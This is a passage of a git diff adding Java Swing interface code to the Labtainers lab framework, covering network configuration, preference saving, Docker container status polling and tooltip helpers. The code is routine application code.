java.awt.Font("Ubuntu", 0, 18)); // NOI18N + NetworkMaskLabel.setHorizontalAlignment(javax.swing.SwingConstants.CENTER); + NetworkMaskLabel.setText("000.00.0.000/00"); + add(NetworkMaskLabel); + }// //GEN-END:initComponents + + private boolean clicked = false; + private void formMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_formMouseClicked + clickPanelHandler(evt); + }//GEN-LAST:event_formMouseClicked + + private void renameNetworkOptionActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_renameNetworkOptionActionPerformed + renameNetworkOptionActionPerformed(); + }//GEN-LAST:event_renameNetworkOptionActionPerformed + + private void deleteNetworkOptionActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_deleteNetworkOptionActionPerformed + deleteNetworkAction(); + }//GEN-LAST:event_deleteNetworkOptionActionPerformed + + private void RenameNetworkTextfieldActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RenameNetworkTextfieldActionPerformed + renameNetworkTextfieldActionPerformed(); + }//GEN-LAST:event_RenameNetworkTextfieldActionPerformed + + private void RenameNetworkTextfieldFocusLost(java.awt.event.FocusEvent evt) {//GEN-FIRST:event_RenameNetworkTextfieldFocusLost + renameNetworkTextfieldFocusLost(); + }//GEN-LAST:event_RenameNetworkTextfieldFocusLost + + private void NetworkConfigWindowWindowClosing(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_NetworkConfigWindowWindowClosing + clicked = false; + }//GEN-LAST:event_NetworkConfigWindowWindowClosing + + private void NetworkConfigUpdateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_NetworkConfigUpdateButtonActionPerformed + networkConfigUpdateButton(); + }//GEN-LAST:event_NetworkConfigUpdateButtonActionPerformed + + private void NetworkConfigCancelButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_NetworkConfigCancelButtonActionPerformed + clicked = false; + NetworkConfigWindow.setVisible(false); + }//GEN-LAST:event_NetworkConfigCancelButtonActionPerformed + + // BUTTONS and HANDLERS // + + // Handles whether or not to open Network Configuration Window or prompt rename/delete options + private void clickPanelHandler(java.awt.event.MouseEvent evt){ + if(!clicked){ + if(SwingUtilities.isLeftMouseButton(evt)){ + clicked = true; + loadDataIntoNetworkPanel(); + NetworkConfigWindow.setVisible(true); + } + else if(SwingUtilities.isRightMouseButton(evt)) + NetworkRightClick.show(this, evt.getX(), evt.getY()); + } + } + + // Deletes the network and removes all references to it at the UI and data layer + private void deleteNetworkAction(){ + int confirm = JOptionPane.showConfirmDialog(null, "Are you sure you want to delete the network '"+data.name+"'?\n" + + "Deleting this network will delete all references \n" + + "to this network in the Container Configurations as well.", + "Delete Network", JOptionPane.YES_NO_OPTION); + if (confirm == JOptionPane.YES_OPTION){ + mainWindow.getCurrentData().deleteReferenceToNetwork(data.name); //Delete the network in data object + mainWindow.updateNetworkReferenceInContainerConfigDialogs("Delete",data.name, null); //Delete the network on the immediate UI interface + JPanel networkPanel = (JPanel)this.getParent(); + + // delete the network from the list + networkPanel.remove(this); + + // Shorten the panel height holding all the containers and resize it. + mainWindow.networkPanePanelLength-=51; + networkPanel.setPreferredSize(new Dimension(0,mainWindow.networkPanePanelLength)); + + // Redraw the panel containing the list of networks + networkPanel.revalidate(); + networkPanel.repaint(); + } + } + + // Prompts renaming fields + private void renameNetworkOptionActionPerformed(){ + // Make the rename textfield visible, active, and all text inside preselected + RenameNetworkTextfield.setText(data.name); + RenameNetworkTextfield.setVisible(true); + RenameNetworkTextfield.requestFocusInWindow(); + RenameNetworkTextfield.selectAll(); + + // Hide the original network label + NetworkLabelName.setVisible(false); + NetworkMaskLabel.setVisible(false); + } + + // Renames the network and refactors the name at the UI and data layer + private void renameNetworkTextfieldActionPerformed(){ + // Prompt user to confirm their changes + String newNetworkName = RenameNetworkTextfield.getText().toUpperCase(); + String oldName = data.name; + + int confirm = JOptionPane.showConfirmDialog(null, "Are you sure you want to rename the network '"+oldName+"' to '"+newNetworkName+"'?", + "Rename Network", JOptionPane.YES_NO_OPTION); + if (confirm == JOptionPane.YES_OPTION){ + // Rename the network on the data level + mainWindow.getCurrentData().refactorNetworkName(oldName,newNetworkName); + + //Rename the network on the immediate Container Dialog UI + mainWindow.updateNetworkReferenceInContainerConfigDialogs("Rename",oldName, newNetworkName); + + // Rename the network + NetworkLabelName.setText(newNetworkName); + data.name = newNetworkName; + //System.out.println("Renamed network to: "+data.name); + } + + // Hide the textfield and show the network label + RenameNetworkTextfield.setVisible(false); + NetworkLabelName.setVisible(true); + NetworkMaskLabel.setVisible(true); + + } + + // When User clicks off of the rename textfield + private void renameNetworkTextfieldFocusLost(){ + // Hide the textfield and show the network label + RenameNetworkTextfield.setVisible(false); + NetworkLabelName.setVisible(true); + NetworkMaskLabel.setVisible(true); + } + + // Updates the data object based on whats in the fields, closes the network configuration window, + // (and sets the mask label on the network panel) + public void networkConfigUpdateButton(){ + // Set the textfield and spinner values into the data Objects + this.data.mask = this.NetworkConfigMaskTextfield.getText(); + this.data.gateway = this.NetworkConfigGatewayTextField.getText(); + this.data.macvlan_ext = (int) this.NetworkConfigMacVLanExtSpinner.getValue(); + this.data.macvlan = (int) this.NetworkConfigMacVLanSpinner.getValue(); + this.data.tap = this.TapRadioButton.isSelected(); + + clicked = false; + NetworkConfigWindow.setVisible(false); + NetworkMaskLabel.setText(this.data.mask); + } + + + // CORE // + + // Set the fields of the Network Dialog Window with the data + private void loadDataIntoNetworkPanel(){ + this.NetworkConfigWindow.setTitle("NetworkConfig: "+this.data.name); + this.NetworkConfigMaskTextfield.setText(this.data.mask); + this.NetworkConfigGatewayTextField.setText(this.data.gateway); + this.NetworkConfigMacVLanExtSpinner.setValue(this.data.macvlan_ext); + this.NetworkConfigMacVLanSpinner.setValue(this.data.macvlan); + this.TapRadioButton.setSelected(this.data.tap); + } + + + // GETTERS // + + public LabData.NetworkData getConfigData(){ + return this.data; + } + + public JDialog getNetworkConfigDialog(){ + return NetworkConfigWindow; + } + public boolean configShowing(){ + return NetworkConfigWindow.isShowing(); + } + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton NetworkConfigCancelButton; + private javax.swing.JTextField NetworkConfigGatewayTextField; + private javax.swing.JSpinner NetworkConfigMacVLanExtSpinner; + private javax.swing.JSpinner NetworkConfigMacVLanSpinner; + private javax.swing.JTextField NetworkConfigMaskTextfield; + private javax.swing.JButton NetworkConfigUpdateButton; + private javax.swing.JDialog NetworkConfigWindow; + private javax.swing.JLabel NetworkLabelName; + private javax.swing.JLabel NetworkMaskLabel; + private javax.swing.JPopupMenu NetworkRightClick; + private javax.swing.JTextField RenameNetworkTextfield; + private javax.swing.JRadioButton TapRadioButton; + private javax.swing.JMenuItem deleteNetworkOption; + private javax.swing.JLabel jLabel4; + private javax.swing.JLabel jLabel5; + private javax.swing.JPopupMenu.Separator jSeparator1; + private javax.swing.JMenuItem renameNetworkOption; + // End of variables declaration//GEN-END:variables +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/PreferencesPanel.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/PreferencesPanel.form new file mode 100644 index 000000000..734c0f4f3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/PreferencesPanel.form @@ -0,0 +1,117 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/PreferencesPanel.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/PreferencesPanel.java new file mode 100644 index 000000000..7381c9f22 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/PreferencesPanel.java @@ -0,0 +1,183 @@ +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. +*/ + +package labtainers.mainui; +import java.util.Properties; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.io.FileReader; +import java.io.File; +import java.io.FileOutputStream; + +/** + * + * @author mike + */ +public class PreferencesPanel extends javax.swing.JPanel { + javax.swing.JDialog dialog; + private File iniFile=null; + private Properties prefProperties = null; + /** + * Creates new form PreferencesPanel + */ + public PreferencesPanel() { + initComponents(); + } + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + jLabel1 = new javax.swing.JLabel(); + editorTextField = new javax.swing.JTextField(); + labtainersPathTextField = new javax.swing.JTextField(); + OKButton = new javax.swing.JButton(); + CancelButton = new javax.swing.JButton(); + registryTextField = new javax.swing.JTextField(); + + jLabel1.setText("Preferences"); + + editorTextField.setBorder(javax.swing.BorderFactory.createTitledBorder("Text editor")); + + labtainersPathTextField.setBorder(javax.swing.BorderFactory.createTitledBorder("LABTAINERS_DIR path")); + + OKButton.setText("OK"); + OKButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + OKButtonActionPerformed(evt); + } + }); + + CancelButton.setText("Cancel"); + CancelButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + CancelButtonActionPerformed(evt); + } + }); + + registryTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Registry", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Dialog", 0, 14))); // NOI18N + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); + this.setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addGap(241, 241, 241) + .addComponent(jLabel1)) + .addGroup(layout.createSequentialGroup() + .addGap(73, 73, 73) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(labtainersPathTextField, javax.swing.GroupLayout.DEFAULT_SIZE, 483, Short.MAX_VALUE) + .addComponent(editorTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 472, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(registryTextField))) + .addGroup(layout.createSequentialGroup() + .addGap(157, 157, 157) + .addComponent(OKButton) + .addGap(64, 64, 64) + .addComponent(CancelButton))) + .addContainerGap(58, Short.MAX_VALUE)) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel1) + .addGap(39, 39, 39) + .addComponent(editorTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 54, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(labtainersPathTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 65, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(registryTextField, javax.swing.GroupLayout.DEFAULT_SIZE, 53, Short.MAX_VALUE) + .addGap(18, 18, 18) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(OKButton) + .addComponent(CancelButton)) + .addGap(41, 41, 41)) + ); + }// //GEN-END:initComponents + + private void CancelButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_CancelButtonActionPerformed + this.dialog.setVisible(false); + }//GEN-LAST:event_CancelButtonActionPerformed + public void setDialog(javax.swing.JDialog dialog){ + this.dialog = dialog; + } + + private void OKButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_OKButtonActionPerformed + savePrefs(); + this.dialog.setVisible(false); + }//GEN-LAST:event_OKButtonActionPerformed + void setPrefs(File iniFile, Properties prefProperties){ + this.iniFile = iniFile; + this.prefProperties = prefProperties; + String textEditorPref = prefProperties.getProperty("textEditor"); + String labtainerPath = prefProperties.getProperty("labtainerPath"); + System.out.println("labtainerPath "+labtainerPath); + this.editorTextField.setText(textEditorPref); + this.labtainersPathTextField.setText(labtainerPath); + } + void savePrefs(){ + SimpleDateFormat formatter = new SimpleDateFormat("dd/MM/yyyy HH:mm:ss"); + prefProperties.put("textEditor", this.editorTextField.getText()); + String path = this.labtainersPathTextField.getText(); + if(new File(path).isDirectory()){ + prefProperties.put("labtainerPath", this.labtainersPathTextField.getText()); + }else{ + System.out.println("Error path does not exist, ignored: "+path); + } + // write update to the ini File + Date date = new Date(); + try{ + FileOutputStream out = new FileOutputStream(this.iniFile); + prefProperties.store(out, "Updated: "+ formatter.format(date)); + out.close(); + }catch(java.io.FileNotFoundException ex){ + System.out.println(ex); + }catch(java.io.IOException ex){ + System.out.println(ex); + } + } + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton CancelButton; + private javax.swing.JButton OKButton; + private javax.swing.JTextField editorTextField; + private javax.swing.JLabel jLabel1; + private javax.swing.JTextField labtainersPathTextField; + private javax.swing.JTextField registryTextField; + // End of variables declaration//GEN-END:variables +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/Status.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/Status.java new file mode 100644 index 000000000..534e58599 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/Status.java @@ -0,0 +1,132 @@ +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. +*/ + +/* +Report on status of Docker containers using given labels and messages. +Running containers are named via strings matched to the output of "docker ps". +*/ +package labtainers.mainui; +import java.io.BufferedReader; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.IOException; +import java.util.regex.Pattern; +import java.util.regex.Matcher; +import java.util.Set; +import java.util.HashSet; +import java.util.ArrayList; + + +public class Status implements Runnable { + private class StatusInfo{ + protected javax.swing.JLabel label; + protected String message; + protected String look_for; + protected boolean was_running; + protected boolean now_running; + protected StatusInfo(javax.swing.JLabel label, String message, String look_for){ + this.label = label; + this.message = message; + this.look_for = look_for; + this.was_running = false; + this.now_running = false; + } + } + private javax.swing.JLabel label; + private String message; + private ArrayList look_for; + private boolean was_running = false; + private ArrayList status_info; + + public Status(javax.swing.JLabel label, String message, String look_for) { + this.status_info = new ArrayList(); + StatusInfo stat = new StatusInfo(label, message, look_for); + stat.label.setText(stat.message+" No"); + this.status_info.add(stat); + } + public void addLabel(javax.swing.JLabel label, String message, String look_for) { + StatusInfo stat = new StatusInfo(label, message, look_for); + stat.label.setText(stat.message+" No"); + this.status_info.add(stat); + } + public void changeLook(javax.swing.JLabel label, String look_for){ + for(StatusInfo stat : this.status_info){ + if(stat.label == label){ + stat.look_for = look_for; + break; + } + } + } + + public void run() { + Set running_set; + boolean now_running; + while(true) { + isRunning(); + for(StatusInfo stat : this.status_info){ + if(stat.now_running &! stat.was_running){ + stat.label.setText(stat.message+" Yes"); + }else if(!stat.now_running && stat.was_running){ + stat.label.setText(stat.message+" No"); + } + stat.was_running = stat.now_running; + } + try{ + Thread.sleep(2000); + }catch(InterruptedException ex){ + System.out.println(ex); + } + } + } + private void isRunning(){ + String line; + //Executable file name of the application to check. + + try{ + Process proc = Runtime.getRuntime().exec("docker ps"); + InputStream stream = proc.getInputStream(); + BufferedReader reader = new BufferedReader(new InputStreamReader(stream)); + for(StatusInfo stat : this.status_info){ + stat.now_running = false; + } + while ((line = reader.readLine()) != null) { + for(StatusInfo stat : this.status_info){ + Pattern pattern = Pattern.compile(stat.look_for); + Matcher matcher = pattern.matcher(line); + if (matcher.find()) { + stat.now_running = true; + } + } + } + }catch(IOException ex){ + System.out.println("Status error getting ps "+ex.toString()); + } + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/ToolTipHandlers.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ToolTipHandlers.java similarity index 52% rename from modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/ToolTipHandlers.java rename to modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ToolTipHandlers.java index a94b57ec1..67e0531ba 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/ToolTipHandlers.java +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/mainui/ToolTipHandlers.java @@ -1,75 +1,99 @@ -/* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ -package GoalsUI; - -import java.awt.Component; -import javax.swing.DefaultComboBoxModel; -import javax.swing.DefaultListCellRenderer; -import javax.swing.JComboBox; -import javax.swing.JComponent; -import javax.swing.JList; - -/** - * - * @author Daniel Liao - */ -public class ToolTipHandlers { - public static interface ToolTipProvider{ - public String getToolTip(); - } - - //Stores an item and its correspoinding tool tip. (Items put into a combobox) - public static class ToolTipWrapper implements ToolTipProvider{ - final String item; - final String toolTip; - - public ToolTipWrapper(String item, String toolTip){ - this.item = item; - this.toolTip = toolTip; - } - - @Override - public String getToolTip(){ - return toolTip; - } - - @Override - public String toString(){ - return item; - } - - public String getItem(){ - return item; - } - } - - //custom combobox renderer to handle ToolTipWrapper objects that contain an string item and string tool tip - public static class ComboBoxRenderer extends DefaultListCellRenderer { - - @Override - public Component getListCellRendererComponent(JList list, Object value, int index, boolean isSelected, boolean cellHasFocus) { - JComponent component = (JComponent) super.getListCellRendererComponent(list, value, index, isSelected, cellHasFocus); - String tip = null; - if (value instanceof ToolTipProvider) { - ToolTipProvider ttp = (ToolTipProvider) value; - tip = ttp.getToolTip(); - } - list.setToolTipText(tip); - return component; - } - } - - //Sets the combo items with associated tool tips (called in the constructors) - public static void setComboItems(JComboBox combobox, ToolTipWrapper[] items){ - ComboBoxRenderer renderer = new ComboBoxRenderer(); - combobox.setRenderer(renderer); - - for (ToolTipWrapper item : items) { - if(((DefaultComboBoxModel)combobox.getModel()).getIndexOf(item) == -1) - combobox.addItem(item); - } - } -} +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.mainui; + +import java.awt.Component; +import javax.swing.DefaultComboBoxModel; +import javax.swing.DefaultListCellRenderer; +import javax.swing.JComboBox; +import javax.swing.JComponent; +import javax.swing.JList; + +/** + * + * @author student + */ +public class ToolTipHandlers { + public static interface ToolTipProvider{ + public String getToolTip(); + } + + //Stores an item and its correspoinding tool tip. (Items put into a combobox) + public static class ToolTipWrapper implements ToolTipProvider{ + final String item; + final String toolTip; + + public ToolTipWrapper(String item, String toolTip){ + this.item = item; + this.toolTip = toolTip; + } + + @Override + public String getToolTip(){ + return toolTip; + } + + @Override + public String toString(){ + return item; + } + + public String getItem(){ + return item; + } + } + + //custom combobox renderer to handle ToolTipWrapper objects that contain an string item and string tool tip + public static class ComboBoxRenderer extends DefaultListCellRenderer { + + @Override + public Component getListCellRendererComponent(JList list, Object value, int index, boolean isSelected, boolean cellHasFocus) { + JComponent component = (JComponent) super.getListCellRendererComponent(list, value, index, isSelected, cellHasFocus); + String tip = null; + if (value instanceof ToolTipProvider) { + ToolTipProvider ttp = (ToolTipProvider) value; + tip = ttp.getToolTip(); + } + list.setToolTipText(tip); + return component; + } + } + + //Sets the combo items with associated tool tips (called in the constructors) + public static void setComboItems(JComboBox combobox, ToolTipWrapper[] items){ + ComboBoxRenderer renderer = new ComboBoxRenderer(); + combobox.setRenderer(renderer); + + for (ToolTipWrapper item : items) { + if(((DefaultComboBoxModel)combobox.getModel()).getIndexOf(item) == -1) + combobox.addItem(item); + } + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ContainerFileDialog.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ContainerFileDialog.form new file mode 100644 index 000000000..ddb946797 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ContainerFileDialog.form @@ -0,0 +1,108 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ContainerFileDialog.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ContainerFileDialog.java new file mode 100644 index 000000000..2fb005105 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/paramsui/ContainerFileDialog.java @@ -0,0 +1,171 @@ +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.paramsui; +import java.util.ArrayList; +import javax.swing.JDialog; +/** + * + * @author mike + */ +public class ContainerFileDialog extends javax.swing.JPanel { + boolean is_ok = false; + JDialog dialog = null; + ContainerFileTable container_file_table = null; + /** + * Creates new form ContainerFileDialog + */ + public ContainerFileDialog(ArrayList containers, ArrayList fileList) { + initComponents(); + container_file_table = new ContainerFileTable(containers, fileList); + TablePanel.add(container_file_table); + } + public boolean isOK(){ + return this.is_ok; + } + public void setDialog(JDialog dialog){ + this.dialog = dialog; + } + public ArrayList getFileList(){ + return container_file_table.getFileList(); + } + + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + okButton = new javax.swing.JButton(); + TablePanel = new javax.swing.JPanel(); + cancelButton = new javax.swing.JButton(); + AddButton = new javax.swing.JButton(); + DeleteButton = new javax.swing.JButton(); + + okButton.setText("OK"); + okButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + okButtonActionPerformed(evt); + } + }); + + TablePanel.setLayout(new java.awt.GridLayout(1, 0)); + + cancelButton.setText("Cancel"); + cancelButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + cancelButtonActionPerformed(evt); + } + }); + + AddButton.setText("Add"); + AddButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + AddButtonActionPerformed(evt); + } + }); + + DeleteButton.setText("Delete"); + DeleteButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + DeleteButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); + this.setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(TablePanel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + 